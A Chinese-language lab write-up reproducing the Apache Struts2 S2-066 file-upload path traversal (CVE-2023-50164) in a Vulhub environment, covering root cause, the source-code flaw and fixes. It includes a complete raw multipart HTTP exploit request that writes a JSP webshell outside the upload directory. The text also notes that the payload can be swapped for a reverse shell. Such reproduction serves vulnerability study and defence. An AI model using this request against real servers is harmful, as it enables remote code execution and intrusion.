Apache Struts2 S2-066 文件上传路径穿越漏洞(CVE-2023-50164)复现与分析
本文以 Vulhub 仓库中的 struts2/s2-066 环境为对象,系统讲解 Apache Struts2 2.5.32 中由文件上传表单字段名大小写差异引发的路径穿越漏洞(CVE-2023-50164):从漏洞成因、环境搭建、完整抓包复现到源码级原理剖析,帮助读者理解"首字母大写字段绕过 basename 保护"的攻击手法,并掌握在真实 Java Web 应用中识别与防御此类上传缺陷的能力。
漏洞背景与成因
Apache Struts2 是一个基于 Java EE Servlet API 的流行 MVC Web 应用框架,通过丰富的标签与工具帮助开发者构建易维护、易扩展的企业级 Web 应用。它的文件上传功能在正常流程中会调用 FileUploadInterceptor 对上传文件名做处理,框架默认只保留文件的 basename(基本名称),从而阻止 ../ 之类的路径穿越字符。
S2-066(CVE-2023-50164)正是存在于这个上传处理逻辑中的路径穿越漏洞:攻击者通过操纵表单字段名称的大小写,让"未经 basename 处理的原文件名"覆盖掉框架的防护结果,最终把文件写到上传目录之外。触发漏洞需要满足两个条件:
- 表单字段名使用首字母大写(例如
Upload而不是upload); - 另外提供一个携带路径穿越文件名的独立表单字段(例如
fileFileName字段值为../shell.jsp)。
这使得 Struts2 内部在处理时绕过了文件名清洗逻辑,将用户可控的原始文件名直接用于目标路径拼接,最终导致成功的路径穿越写入。
环境搭建
Vulhub 为本次复现提供了开箱即用的 Docker Compose 环境,目录结构如下:
- struts2/s2-066/docker-compose.yml:容器编排定义
- base/struts2/s2-066/Dockerfile:镜像构建脚本
- base/struts2/s2-066/pom.xml:Maven 工程定义
- base/struts2/s2-066/src/main/java/org/vulhub/IndexAction.java:上传处理 Action
在仓库根目录执行以下命令即可启动环境:
docker compose up -d
环境的容器编排配置如下(来自 docker-compose.yml):
services:
struts2:
image: vulhub/struts2:s2-066
ports:
- "8080:8080"
- "5005:5005"
其中 8080 映射 Web 服务端口,5005 映射 JDWP 远程调试端口(便于学习时动态调试漏洞触发点)。环境启动后,访问 http://your-ip:8080 即可看到应用页面,这是一个简单的文件上传页面,页面内的上传请求会提交到 index.action 进行处理(index.jsp 中 response.sendRedirect("index.action") 会自动跳转到该 Action)。
从 Dockerfile 可以看到镜像的构建方式:使用 Maven 构建 WAR 包后部署到 Tomcat 9,且开启了 suspend=n 的 JDWP 调试代理;pom.xml 声明了 struts2-core 2.5.32(存在漏洞的版本)与 commons-fileupload 1.3.3 依赖。
漏洞复现
第一步:普通上传验证基线
首先,尝试把一段 JSP 脚本上传到正常的上传目录,验证应用的上传功能与执行环境。
从抓包结果看,请求为 POST /index.action,multipart/form-data 中包含文件字段 shell.jsp,响应中显示文件已成功上传到 /upload/shell.jsp,页面给出 "Download File" 下载链接。
尽管上传成功,但由于服务器配置,JSP 代码无法在上传目录 upload/ 中被解析执行。访问 http://your-ip:8080/upload/shell.jsp 时,响应直接以文本形式回显了 JSP 源码,并标注 "upload successful but unable to execute because of server configuration":
这个"上传成功但不可执行"的基线很关键:它说明仅仅把 shell.jsp 上传到 upload/ 目录无法形成代码执行,攻击者必须把文件写到可以执行 JSP 的位置(如 Web 应用根目录),这正需要借助 S2-066 的路径穿越能力。
之所以 upload/ 目录不执行 JSP,从 web.xml 可以看到原因:该文件为 /upload/* 显式配置了 default servlet 的映射(<servlet-mapping><servlet-name>default</servlet-name><url-pattern>/upload/*</url-pattern></servlet-mapping>),使该目录下的内容由默认静态处理器接管,而 JSP 解析器不会对其生效。
第二步:构造路径穿越上传请求
利用 S2-066 漏洞,使用下面的原始 HTTP 请求把文件上传到上传目录之外:
POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl6ZFZPznNSPZOFJF
Content-Length: 331
------WebKitFormBoundaryl6ZFZPznNSPZOFJF
Content-Disposition: form-data; name="File"; filename="shell.jsp"
Content-Type: text/plain
<%
out.println("hello world");
%>
------WebKitFormBoundaryl6ZFZPznNSPZOFJF
Content-Disposition: form-data; name="fileFileName"
../shell.jsp
------WebKitFormBoundaryl6ZFZPznNSPZOFJF--
注意利用过程中的两个关键要素:
- 文件字段的名称使用首字母大写(
name="File",而不是常规的file)——这是触发 Struts2 上传拦截器大小写处理缺陷的关键; - 单独提供一个
fileFileName字段,其值为路径穿越 payload:../shell.jsp——该字段用于覆盖框架清洗后的文件名,使目标路径变成upload/../shell.jsp,等价于 Web 应用根目录下的shell.jsp。
第三步:验证上传结果与 Webshell 执行
利用上述请求后,抓包响应显示文件被成功写出:
随后直接访问 http://your-ip:8080/shell.jsp,JSP 脚本被服务器正常解析执行,响应中回显了 hello world,标注 "upload successful and executable",说明已成功获得代码执行能力:
至此,攻击者通过路径穿越把 JSP webshell 写入了可执行目录,形成了完整的远程代码执行链。实战中可把 out.println("hello world") 替换为反弹 shell、文件读写等任意 JSP 代码。
源码级原理剖析
要理解漏洞为何存在,需要结合本次复现环境的业务代码来看。Vulhub 的示例 Action IndexAction.java 展示了典型的 Struts2 文件上传写法:
public class IndexAction extends ActionSupport {
private File file;
private String fileContentType;
private String fileFileName;
// ...
public String execute() throws Exception {
if (file != null) {
String base = ServletActionContext.getServletContext().getRealPath("/") + "upload";
File dir = new File(base);
if (!dir.exists()) {
dir.mkdirs();
}
String fileName = getFileFileName();
File destFile = new File(dir, fileName); // 目标路径 = upload 目录 + 文件名
FileUtils.copyFile(getFile(), destFile);
uploadedFilePath = "upload/" + fileName;
uploadedFileName = getFileFileName();
return SUCCESS;
}
return INPUT;
}
}
可以看到,业务代码将"上传目录"与"文件名"直接拼接为目标路径(new File(dir, fileName)),并调用 FileUtils.copyFile 落盘。这里存在两层防护缺位:
- 业务层未对
getFileFileName()做任何清洗,../会被原样拼入路径; - 框架层(Struts2 的
FileUploadInterceptor)本应把文件名清洗为 basename,这正是正常情况下../shell.jsp无法生效的原因。
S2-066 的问题就出在第二层:Struts2 的 FileUploadInterceptor 在处理 multipart 请求时,会尝试从请求参数中获取 fileFileName 等"派生字段"来覆盖上传文件名。当文件字段名写作首字母大写的 File 时,Struts2 在根据约定(字段名 + FileName 后缀)匹配派生字段时产生逻辑混乱,导致未经 basename 清洗的原始文件名(来自 fileFileName 参数的 ../shell.jsp)被优先采用,从而覆盖掉框架的安全清洗结果。从本环境的 pom.xml 可以看到,复现所依赖的是存在缺陷的 struts2-core 2.5.32 与 commons-fileupload 1.3.3 组合。
最终拼接出的物理路径为 {webapp}/upload/../shell.jsp,即 {webapp}/shell.jsp,落入 Tomcat 的 JSP 解析范围,从而绕过"upload 目录不可执行"的限制(见 web.xml 中 /upload/* 的 default servlet 映射),实现 webshell 落地。
修复建议与防御要点
Apache 官方已针对 S2-066 发布修复版本,以下措施可以有效止血与加固:
- 升级组件:将
struts2-core升级到官方修复版本(2.5.33 及以上或 6.x 系列修复版本),从源头消除FileUploadInterceptor的文件名覆盖缺陷; - 服务端文件名白名单:业务代码不要信任任何客户端传来的文件名,保存时统一使用服务端生成的随机文件名(如 UUID),扩展名做严格白名单校验,仅允许
.jpg、.png等静态资源类型; - 禁止直接拼接用户输入到文件路径:保存目录固定,使用
Path.normalize()等规范化手段,并校验规范化后的路径必须仍位于允许的根目录之内,拒绝任何..段; - 隔离可执行目录:上传目录与 Web 应用可执行目录(JSP/Class 所在位置)物理隔离,并通过类似本环境
web.xml中/upload/*静态映射的做法明确禁止上传目录内的动态脚本解析; - 部署 WAF 规则:对 multipart 表单中"字段名大小写变体 +
FileName派生字段含../"的请求特征进行拦截。
小结
S2-066 是一类典型的"框架安全清洗被业务逻辑覆盖"型漏洞,攻击面是几乎所有 Struts2 文件上传接口,危害可达远程代码执行。通过 Vulhub 的 struts2/s2-066 环境,读者可以快速复现"普通上传不可执行 → 大小写字段绕过 → 路径穿越落盘 → JSP webshell 执行"的完整链路,并结合 IndexAction.java、pom.xml 与 web.xml 等源码加深对漏洞根因的理解,为日常的代码审计与安全加固提供直接参考。
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust4.24 K638- DDeepSeek-V4.1-FlashDeepSeek-V4.1-Flash 是一个多模态混合专家(MoE)模型,拥有 5520 亿骨干参数,并支持最多一百万 token 的上下文长度。该模型原生支持图像和文本输入,并以自回归方式生成文本Python650
SlideSCIPPT插件,支持素材库、AI助手、一键添加图片标题,复制粘贴位置、一键图片对齐、一键插入Markdown(加粗、超链接等行内样式、代码块、LaTeX等块级样式)、便捷导出图片!C#180
hello-agents📚 《从零开始构建智能体》——从零开始的智能体原理与实践教程Python52774
new-apiAI模型聚合管理中转分发系统,一个应用管理您的所有AI模型,支持将多种大模型转为统一格式调用,支持OpenAI、Claude、Gemini等格式,可供个人或者企业内部管理与分发渠道使用。🍥 A Unified AI Model Management & Distribution System. Aggregate all your LLMs into one app and access them via an OpenAI-compatible API, with native support for Claude (Messages) and Gemini formats.Go22545
JeecgBoot🔥企业级低代码平台集成了AI应用平台,帮助企业快速实现低代码开发和构建AI应用!前后端分离架构 SpringBoot,SpringCloud、Mybatis,Ant Design4、 Vue3.0、TS+vite!强大的代码生成器让前后端代码一键生成,无需写任何代码! 引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE,显著的提高效率,又不失灵活~Java36351



